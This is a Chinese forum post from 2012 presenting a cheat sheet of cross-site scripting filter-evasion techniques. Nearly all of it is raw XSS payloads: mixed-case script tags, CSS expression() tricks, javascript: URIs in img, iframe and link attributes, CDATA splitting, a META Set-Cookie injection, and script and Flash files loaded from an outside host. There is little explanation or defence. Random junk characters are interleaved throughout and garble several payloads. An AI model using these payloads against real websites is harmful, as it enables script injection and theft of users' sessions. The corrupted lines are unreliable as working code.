找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2282|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
3 `* L9 r/ P! T" |+ m; u' u; S# M" }9 A' ^

; X/ ]  Q* i/ R* Z1 o) @3 ^  U9 b  ]6 d5 F3 n
    <sCript>alert(‘d’)</scRipT>
4 k, Z5 S6 G8 R6 a6 X# A) [7 K) Q8 e
2. 利用多加一些其它字符来规避Regular Expression的检查: B2 m0 c+ C) }3 L' N/ V6 @
7 \8 Y* Q# {$ [) c9 t) j$ H% {
    <<script>alert(‘c’)//<</script>
5 ~! n) v3 v# `% J& Y4 K& K1 V
+ \# }2 H/ l9 [; {    <SCRIPT a=">" SRC="t.js"></SCRIPT>
+ n9 |. E2 n' ^  _( y2 }1 d" d8 R9 i' K9 S" p% x
    <SCRIPT =">" SRC="t.js"></SCRIPT>+ r& L& E7 N* g6 S- c" N; W$ F

& P3 x) E/ l- P: ?! W! r3 _; @# J    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>; f1 p0 e& D$ O2 t& o
4 V3 l6 @* _) H
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
$ h* q; ?* ]% Q' M4 g; j% ]: i$ q- G( @  d: S( o
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
0 Q$ F7 P5 Y$ i- B4 d% c- ^# L% j4 k1 @1 o/ c! M: D: n. I) f$ P' F
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
7 Y6 Z# b7 _9 l  o1 k' J8 a
# H; b/ g2 b$ f: P& h4 H; h" m3. 以其它扩展名取代.js
4 {& ]8 T1 \, H3 V3 r2 L9 r1 m$ a: d+ `  y! r6 b
    <script src="bad.jpg"></script>
5 ]1 d. Y7 d! Y+ N2 v! N4 f' `. Z- B* _( j' Y& K. |
4. 将Javascript写在CSS档里
# q& w# S9 x' ^  f
+ A" q) P& F  S    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
  @$ W$ p( I7 S2 r0 m' k3 }) z5 H/ t% l. o" W# q
       example:& P: Z, ]+ x9 M. |9 x: u% }  @$ E& k
- y' A/ u4 Q2 v* z" l3 [) B/ g
          body {
+ M4 Z& }+ R7 l/ a0 W0 s
# b- ]" c' f+ K% d6 l" f               background-image: url(‘javascript:alert("XSS");’)
, t& U6 t  l# o  I
$ y$ [' E1 z$ X          }- ^/ k/ k% n3 ^
3 Z4 j; G, R; {+ Z% c& g! x+ p
5. 在script的tag里加入一些其它字符7 ^( O7 o4 U1 N# P. {  z. r/ U
& `& e6 U% F8 b( J; h& d
    <SCRIPT/SRC="t.js"></SCRIPT>, O& K. F3 S5 X7 w3 I. x

8 `5 a& {" ?% A3 c/ b1 q    <SCRIPT/anyword SRC="t.js"></SCRIPT>$ ~/ D5 [5 z$ r+ ^7 ]

. E1 q. V# Q2 ?  Z6. 使用tab或是new line来规避4 k% r/ o4 I9 V" n
7 b0 M4 }4 n* H) d& b4 t
    <img src="jav ascr ipt:alert(‘XSS3′)">
3 d& [: p0 @: t. Y* k) K" j
" J& c. c+ S4 a$ c  i3 s9 M; S    <img src="jav ascr ipt:alert(‘XSS3′)">
- r2 Y% b0 r2 g+ M: O9 Q& r  \% |, n2 x$ c, p: c" T
    <IMG SRC="jav ascript:alert(‘XSS’);">
! o+ ?" t# p/ M* ?" t) a9 n6 t- {0 v3 H- Q2 H! w
         -> tag
+ W0 C! m; o' V. Z7 j/ q& q5 s
2 @9 [% q) Z9 [% @! M5 ^1 e2 _         -> new line
6 C) P/ `5 R" |, Y: }( d, C- G; T6 b2 Y! ]9 x+ a
7. 使用"\"来规避
* g; J* j. N$ O$ q6 V
8 t7 t7 t: d4 u" X- S    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>/ t2 y4 H8 Z/ a- M$ F

1 T# z7 D9 S( [" M: ]: J" A  o    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>0 q2 E& {1 U) k; O1 g

/ \3 s' @) s0 o, Q    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">1 p4 s; A3 `) y) Y
* }5 e$ f1 g* u% c
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
: f1 w/ o( D2 u' J2 b
5 h6 n7 c4 t3 q% x/ z6 Q: w2 U) W    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>+ S! f1 @" _2 j* n( x* _

5 W, H- Z2 L+ R/ P5 C8. 使用Hex encode来规避(也可能会把";"拿掉)
! `" f' R: w5 e" t& r0 L9 b  q: j3 e- X/ W
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
1 W- w6 c1 S4 F1 c' [! E0 }0 S' G0 Y, h* {* a
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
+ l8 ^) _0 d  R$ i& w6 h
: b/ ?% r2 }6 R2 m, S/ g) J6 x+ v! p    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
# g1 D0 H7 L3 [8 @1 L$ h0 K/ B- f4 b# t3 E9 j/ _& L
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">& x$ z# l+ p* H9 [9 A
8 f# b0 K, k' t8 v' i
9. script in HTML tag) B, [* K( {( ?+ Y; w. ]2 _
* w  F; M; ?/ M0 z; _6 m3 f
    <body onload=」alert(‘onload’)」>' t0 d! a) S+ s& U2 i
" b' k; q6 o) G
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload5 q) U  C. Y$ r3 u

, ?, X) Z/ w" ~8 c+ ^8 _10. 在swf里含有xss的code
( ?9 L) U) \! q8 V' @0 a' E- R7 E, X* l% [* W) J( J" n
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>3 B1 P9 B. A* t8 N9 }% O
2 V3 L9 \+ b' C
11. 利用CDATA将xss的code拆开,再组合起来。
4 R7 c0 s5 y- u8 t( J# s
# b# k$ r4 M: {/ g0 @' j    <XML ID=I><X><C>, C/ {( \" B5 h
' w9 F" ?* a: f; F9 R; W
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>1 d. J& Y- S% W& q8 W, R  y# B

, [5 n8 ?% c# M% c    </C></X>
' n' [" [7 g0 h/ s7 ]* b9 I
, h. e; x5 K. M. d    </xml>8 U! T. g6 s% d: n4 v
& Y7 ^8 ~; \, g2 X+ Q# d
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
6 c5 N0 L* q% {0 u6 }* c( X  b2 L' z/ S
    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
: P, G2 r! S3 L5 I0 W( }: e# _% g- _+ X
0 {  C" ]9 A3 g2 f    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
, J; x; i/ @7 s5 Y9 v3 a' L3 m0 X* G
12. 利用HTML+TIME。
0 U7 `% J/ t( N$ d
! L. ~5 j) d8 i7 X* D' V8 C1 P    <HTML><BODY>! w& o' H# S6 g- F
* G3 c2 f% z) U+ j/ }/ B' j3 `8 w5 f
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">- w1 K7 ^& A' x- M- A: `; i: \

  n' }- f1 v6 l. _8 Y) X+ ]* J    <?import namespace="t" implementation="#default#time2">
$ ^/ e: N/ Z0 _5 e, O. k. b
- L5 l2 P, t) v! [  t# s    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">/ i# f2 o3 a; `8 K' l

- f# d' r: u/ r7 v% E3 B    </BODY></HTML>
* O2 w, M& X3 i) `( y+ F$ u) X- h! ], N
13. 透过META写入Cookie。, E/ O( i6 v8 B2 Z: }- B7 a

0 d; \8 |3 H- j# ~; \' {0 b    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">: O2 N2 Y9 h1 C( s3 w0 B, P: s
5 o; l) K1 G  j0 H* R* o
14. javascript in src , href , url. a+ Z4 O8 d& F: h

+ C( d4 F- I9 R% b  s    <IFRAME SRC=javascript:alert(’13′)></IFRAME>9 K4 \$ E! B: r+ N0 @3 Y  h

* l) g) s4 g' V- O    <img src="javascript:alert(‘XSS3′)">6 d' R6 S, ?$ u1 Z
9 M' k  `; ]: ^5 m+ b% Y
<IMG DYNSRC="javascript:alert(‘XSS20′)">( _# I* ]7 ?+ b# {3 e

: W0 U  r+ F. d/ ?    <IMG LOWSRC="javascript:alert(‘XSS21′)">
- V: h3 L! i( G. B; t2 ]% Z# m% o2 k+ P% x, v
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">9 S/ a' T& j; I+ y+ P' _" a/ L
) z& }% ]* W+ _9 U0 w$ v( s: o
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
6 s6 d% B" t$ X- l0 f4 x
. d/ F% r; Z$ X# f) s+ L, h    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
: w  E) ?3 k3 i% J+ G. s' M$ G! U. L/ z. c, J5 d5 \
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
% n3 N4 k7 b, B; {% L- F
( C/ }: W1 M! k    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
; s# [% N! ~+ u% @/ Y
  m9 ]9 ?9 J: V, x& w- W    </STYLE><A CLASS=XSS></A>
# h8 b, e$ T2 ^3 I, ^2 k$ X5 \) x1 e% o
    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>% [! \# m( A5 v& b# m8 }
) c7 r" u6 k) r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表